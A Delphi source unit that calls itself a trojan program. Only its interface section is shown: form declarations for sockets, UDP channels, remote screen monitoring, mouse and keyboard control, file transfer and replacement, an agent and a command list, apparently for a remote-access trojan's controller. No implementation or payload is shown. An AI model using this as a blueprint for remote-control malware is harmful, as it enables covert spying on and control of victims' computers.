unit2.pas

这是一款木马程序

unit Unit2;

interface

uses
  Windows, Tlhelp32, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, CheckLst, ExtCtrls,winsock,Unit1,Buttons, ComCtrls, ImgList,
  ScktComp, NMNNTP, Psock, NMsmtp, msppt8,wqkMIME,DataExchge,
   vcfi, SHDocVw, Menus, ToolWin,ShellApi, FileCtrl, Grids, Outline, NMUDP,
  jpeg, DBCGrids, Mask, Gauges, ExtDlgs,registry, NMpop3, OleCtrls, Spin;

type
  TForm2 = class(TForm)
    ImageList1: TImageList;
    ClientSocket1: TClientSocket;
    ImageList2: TImageList;
    CUDP1: TNMUDP;
    CUDP2: TNMUDP;
    CSocket1: TClientSocket;
    SSocket1: TServerSocket;
    MonitorCSocket1: TClientSocket;
    NMUDP1: TNMUDP;
    NMUDP2: TNMUDP;
    LinkUDP: TNMUDP;
    SaveDialog1: TSaveDialog;
    SavePictureDialog1: TSavePictureDialog;
    OpenDialog1: TOpenDialog;
    ReplaceUDP: TNMUDP;
    ReplaceSocket: TServerSocket;
    OpenDialog2: TOpenDialog;
    SendFileExUDP: TNMUDP;
    MouseKeyBdUDP: TNMUDP;
    ImageList3: TImageList;
    MonitorCSocket2: TClientSocket;
    OpenDialog3: TOpenDialog;
    ImageList4: TImageList;
    SFileSocket: TServerSocket;
    CFileSocket: TClientSocket;
    SysUDP: TNMUDP;
    AgentUDP: TNMUDP;
    AgentSvSocket: TServerSocket;
    SaveDialog2: TSaveDialog;
    Panelfull: TPanel;
    Panel5: TPanel;
    Panel7: TPanel;
    PageControl2: TPageControl;
    TabSheet4: TTabSheet;
    Label9: TLabel;
    Label12: TLabel;
    Panel12: TPanel;
    Panel14: TPanel;
    Panel23: TPanel;
    Panel88: TPanel;
    Label15: TLabel;
    SpeedButton83: TSpeedButton;
    SpeedButton84: TSpeedButton;
    SpeedButton82: TSpeedButton;
    Panel44: TPanel;
    SpeedButton85: TSpeedButton;
    Panel16: TPanel;
    SpeedButton6: TSpeedButton;
    SpeedButton7: TSpeedButton;
    SpeedButton11: TSpeedButton;
    SpeedButton80: TSpeedButton;
    SpeedButton81: TSpeedButton;
    ComboBox1: TComboBox;
    FileExPanel: TPanel;
    Label14: TLabel;
    Edit9: TEdit;
    Panel11: TPanel;
    Gauge1: TGauge;
    Label10: TLabel;
    Label11: TLabel;
    SpeedButton76: TSpeedButton;
    SpeedButton75: TSpeedButton;
    MaskEdit2: TMaskEdit;
    BitBtn3: TBitBtn;
    Panel15: TPanel;
    Panel18: TPanel;
    Outline1: TOutline;
    Panel19: TPanel;
    Gauge2: TGauge;
    Label13: TLabel;
    SpeedButton9: TSpeedButton;
    SpeedButton79: TSpeedButton;
    StatusBar3: TStatusBar;
    TabSheet5: TTabSheet;
    Panel10: TPanel;
    ScrollBox1: TScrollBox;
    Image2: TImage;
    Image1: TImage;
    Panel17: TPanel;
    Gauge4: TGauge;
    Bevel4: TBevel;
    SpeedButton5: TSpeedButton;
    SpeedButton8: TSpeedButton;
    SpeedButton12: TSpeedButton;
    SpeedButton18: TSpeedButton;
    SpeedButton26: TSpeedButton;
    Label8: TLabel;
    Label34: TLabel;
    SpeedButton30: TSpeedButton;
    SpeedButton13: TSpeedButton;
    Panel8: TPanel;
    Bevel5: TBevel;
    SpeedButton36: TSpeedButton;
    SpeedButton27: TSpeedButton;
    SpeedButton28: TSpeedButton;
    SpeedButton29: TSpeedButton;
    SpeedButton31: TSpeedButton;
    SpeedButton33: TSpeedButton;
    SpeedButton35: TSpeedButton;
    SpeedButton32: TSpeedButton;
    SpeedButton40: TSpeedButton;
    Label36: TLabel;
    BitBtn2: TBitBtn;
    MaskEdit1: TMaskEdit;
    UpDown1: TUpDown;
    MaskEdit7: TMaskEdit;
    TabSheet7: TTabSheet;
    Panel45: TPanel;
    Panel47: TPanel;
    MaskEdit13: TMaskEdit;
    Panel48: TPanel;
    Panel46: TPanel;
    GroupBox1: TGroupBox;
    SpeedButton14: TSpeedButton;
    SpeedButton15: TSpeedButton;
    GroupBox2: TGroupBox;
    SpeedButton34: TSpeedButton;
    SpeedButton37: TSpeedButton;
    GroupBox3: TGroupBox;
    SpeedButton38: TSpeedButton;
    CheckListBox88: TCheckListBox;
    TabSheet6: TTabSheet;
    Panel49: TPanel;
    Panel51: TPanel;
    GroupBox5: TGroupBox;
    SpeedButton39: TSpeedButton;
    SpeedButton41: TSpeedButton;
    MaskEdit14: TMaskEdit;
    CMDList: TListBox;
    GroupBox6: TGroupBox;
    SpeedButton46: TSpeedButton;
    SpeedButton49: TSpeedButton;
    SpeedButton48: TSpeedButton;
    SpeedButton45: TSpeedButton;
    UpDown2: TUpDown;
    MaskEdit17: TMaskEdit;
    Panel50: TPanel;
    PanelM: TPanel;
    Panel52: TPanel;
    Panel53: TPanel;
    Panel55: TPanel;
    Panel56: TPanel;
    SpeedButton43: TSpeedButton;
    SpeedButton44: TSpeedButton;
    MaskEdit15: TMaskEdit;
    Panel60: TPanel;
    BitBtn7: TBitBtn;
    BitBtn11: TBitBtn;
    BitBtn9: TBitBtn;
    Panel57: TPanel;
    SpeedButton47: TSpeedButton;
    BitBtn12: TBitBtn;
    BitBtn13: TBitBtn;
    BitBtn14: TBitBtn;
    BitBtn15: TBitBtn;
    BitBtn16: TBitBtn;
    BitBtn17: TBitBtn;
    MaskEdit16: TMaskEdit;
    BitBtn10: TBitBtn;
    BitBtn18: TBitBtn;
    PageControl5: TPageControl;
    TabSheet16: TTabSheet;
    Panel58: TPanel;
    Splitter3: TSplitter;
    Outline4: TOutline;
    ListBox4: TListBox;
    TabSheet17: TTabSheet;
    ListBox5: TListBox;
    TabSheet18: TTabSheet;
    Panel59: TPanel;
    Image3: TImage;
    TabSheet19: TTabSheet;
    Label18: TLabel;
    Panel6: TPanel;
    CheckListBox4: TCheckListBox;
    Panel9: TPanel;
    SpeedButton17: TSpeedButton;
    SpeedButton42: TSpeedButton;
    Panel54: TPanel;
    Label37: TLabel;
    SpeedButton1: TSpeedButton;
    SpeedButton2: TSpeedButton;
    Edit16: TEdit;
    SpeedButton3: TSpeedButton;
    SpeedButton4: TSpeedButton;
    SpeedButton16: TSpeedButton;
    SpeedButton22: TSpeedButton;
    Splitter1: TSplitter;
    Splitter2: TSplitter;
    Panel20: TPanel;
    Outline2: TOutline;
    Panel21: TPanel;
    SpeedButton10: TSpeedButton;
    Gauge3: TGauge;
    Label28: TLabel;
    SpeedButton77: TSpeedButton;
    SpeedButton78: TSpeedButton;
    TabSheet1: TTabSheet;
    Memo1: TMemo;
    OpenDialog4: TOpenDialog;
    SaveDialog3: TSaveDialog;
    procedure FormCreate(Sender: TObject);
    procedure CheckListBox3DblClick(Sender: TObject);
    procedure Label8Click(Sender: TObject);
    procedure ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure Outline1MouseUp(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure NMUDP1DataReceived(Sender: TComponent; NumberBytes: Integer;
      FromIP: String; Port: Integer);
    procedure ClientSocket4Connect(Sender: TObject;
      Socket: TCustomWinSocket);
    
    procedure CUDP1DataReceived(Sender: TComponent; NumberBytes: Integer;
      FromIP: String; Port: Integer);
    procedure Outline2MouseUp(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure CUDP2DataReceived(Sender: TComponent; NumberBytes: Integer;
      FromIP: String; Port: Integer);
    procedure SSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure CSocket1Connect(Sender: TObject; Socket: TCustomWinSocket);
    procedure BitBtn2Click(Sender: TObject);
    procedure MonitorCSocket1Read(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure FormDestroy(Sender: TObject);
    procedure NMUDP2DataReceived(Sender: TComponent; NumberBytes: Integer;
      FromIP: String; Port: Integer);
    procedure LinkUDPDataReceived(Sender: TComponent; NumberBytes: Integer;
      FromIP: String; Port: Integer);
    procedure SSocket1ClientConnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure CheckListBox4DblClick(Sender: TObject);
    procedure MaskEdit2DblClick(Sender: TObject);
    procedure BitBtn3Click(Sender: TObject);
    procedure SpeedButton6Click(Sender: TObject);
    procedure SpeedButton7Click(Sender: TObject);
    procedure SpeedButton8Click(Sender: TObject);
    procedure MaskEdit1Change(Sender: TObject);
    procedure SpeedButton9Click(Sender: TObject);
    procedure ReplaceSocketClientConnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ComboBox1DblClick(Sender: TObject);
    procedure SpeedButton10Click(Sender: TObject);
    procedure SpeedButton5Click(Sender: TObject);
    procedure CheckListBox4MouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure SpeedButton11Click(Sender: TObject);
    procedure ComboBox1Enter(Sender: TObject);
    procedure Outline1MouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure Outline2MouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure ComboBox1KeyPress(Sender: TObject; var Key: Char);
    procedure Image1MouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure Image1MouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure Image1MouseUp(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure SpeedButton12Click(Sender: TObject);
    procedure FormKeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
    procedure FormKeyUp(Sender: TObject; var Key: Word;
      Shift: TShiftState);
    procedure SpeedButton13Click(Sender: TObject);
    procedure MonitorCSocket2Connect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure CheckListBox4MouseMove(Sender: TObject; Shift: TShiftState;
      X, Y: Integer);
    procedure SpeedButton18Click(Sender: TObject);
    procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
    procedure MonitorCSocket1Error(Sender: TObject;
      Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
      var ErrorCode: Integer);
    procedure MonitorCSocket2Error(Sender: TObject;
      Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
      var ErrorCode: Integer);
    procedure SpeedButton30Click(Sender: TObject);
    procedure MonitorCSocket1Connect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure MonitorCSocket1Disconnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure SpeedButton26Click(Sender: TObject);
    procedure SpeedButton32MouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure SpeedButton32MouseUp(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure SpeedButton40Click(Sender: TObject);
    procedure SpeedButton76Click(Sender: TObject);
    procedure SSocket1ClientError(Sender: TObject;
      Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
      var ErrorCode: Integer);
    procedure SpeedButton78Click(Sender: TObject);
    procedure ReplaceSocketClientError(Sender: TObject;
      Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
      var ErrorCode: Integer);
    procedure SpeedButton75Click(Sender: TObject);
    procedure SpeedButton77Click(Sender: TObject);
    procedure ReplaceUDPDataReceived(Sender: TComponent;
      NumberBytes: Integer; FromIP: String; Port: Integer);
    procedure ReplaceSocketClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure SpeedButton80Click(Sender: TObject);
    procedure SpeedButton81Click(Sender: TObject);
    procedure SendFileExUDPDataReceived(Sender: TComponent;
      NumberBytes: Integer; FromIP: String; Port: Integer);
    procedure SFileSocketClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure SpeedButton84Click(Sender: TObject);
    procedure CFileSocketError(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure CFileSocketConnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure SpeedButton83Click(Sender: TObject);
    procedure SpeedButton82Click(Sender: TObject);
    procedure CFileSocketRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure SFileSocketClientConnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure SFileSocketClientDisconnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure SFileSocketClientError(Sender: TObject;
      Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
      var ErrorCode: Integer);
    procedure CFileSocketConnecting(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure CFileSocketLookup(Sender: TObject; Socket: TCustomWinSocket);
    procedure CFileSocketDisconnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure SSocket1Accept(Sender: TObject; Socket: TCustomWinSocket);
    procedure SSocket1ClientDisconnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure SpeedButton37Click(Sender: TObject);
    procedure SpeedButton38Click(Sender: TObject);
    procedure SpeedButton14Click(Sender: TObject);
    procedure SpeedButton15Click(Sender: TObject);
    procedure CheckListBox88MouseDown(Sender: TObject;
      Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
    procedure SpeedButton34Click(Sender: TObject);
    procedure SysUDPDataReceived(Sender: TComponent; NumberBytes: Integer;
      FromIP: String; Port: Integer);
    procedure MaskEdit2Change(Sender: TObject);
    procedure SpeedButton39Click(Sender: TObject);
    procedure CMDListKeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
    procedure SpeedButton41Click(Sender: TObject);
    procedure SpeedButton42Click(Sender: TObject);
    procedure Outline4MouseUp(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure SpeedButton49Click(Sender: TObject);
    procedure AgentUDPDataReceived(Sender: TComponent;
      NumberBytes: Integer; FromIP: String; Port: Integer);
    procedure AgentUDPInvalidHost(var handled: Boolean);
    procedure AgentUDPBufferInvalid(var handled: Boolean;
      var Buff: array of Char; var length: Integer);
    procedure AgentUDPStreamInvalid(var handled: Boolean; Stream: TStream);
    procedure SpeedButton46Click(Sender: TObject);
    procedure SpeedButton44Click(Sender: TObject);
    procedure SpeedButton47Click(Sender: TObject);
    procedure SpeedButton48Click(Sender: TObject);
    procedure BitBtn12Click(Sender: TObject);
    procedure BitBtn17Click(Sender: TObject);
    procedure BitBtn7Click(Sender: TObject);
    procedure BitBtn9Click(Sender: TObject);
    procedure BitBtn11Click(Sender: TObject);
    procedure AgentSvSocketClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure SpeedButton43Click(Sender: TObject);
    procedure Outline4DblClick(Sender: TObject);
    procedure SpeedButton45Click(Sender: TObject);
    procedure Image3DblClick(Sender: TObject);
    procedure ListBox4MouseUp(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure SpeedButton1Click(Sender: TObject);
    procedure SpeedButton42MouseMove(Sender: TObject; Shift: TShiftState;
      X, Y: Integer);
    procedure SpeedButton2Click(Sender: TObject);
    procedure SpeedButton3Click(Sender: TObject);
    procedure SpeedButton4Click(Sender: TObject);
    procedure SpeedButton17Click(Sender: TObject);
    procedure SpeedButton22Click(Sender: TObject);
    procedure SpeedButton16Click(Sender: TObject);
   
  private
    { Private declarations }
    hICMP:THANDLE;
    IcmpCreateFile:TIcmpCreateFile;
    IcmpCloseHandle:TIcmpCloseHandle;
    IcmpSendEcho:TIcmpSendEcho;
  public
    { Public declarations }
  end;

var
  sRLen1:Smallint;//Agent一组
  iRLen2:LongWord;
  AgentDir:String;

  GFileDirStream:TmemoryStream;

  SendCommandStr:String;
  SendcommandStr1,SendCommandStr2:string;

  XoRBmp:TBitmap;
  XoRJPG:TJPEGImage;
  XoRRect:TRect;
  FirstFrame:Boolean;

  RecNo:Integer;
  NewRLen:Longint;
  NewRAB:array[1..4] of Byte;
  
  DriveID,RemoteSaveID:Byte;
  Form2: TForm2;
  IndexSG,ClickIndex:integer;
  ClickIP,NClickIP:String;
  TCPIndex,UDPIndex,FileID:integer;
  ReceivSize,GSendSize:LongInt;
  AgentStream,GMStream,GSaveStream:TmemoryStream;
  GFileEx,GFileName:String;
  DelayID,DelayLastID:longInt;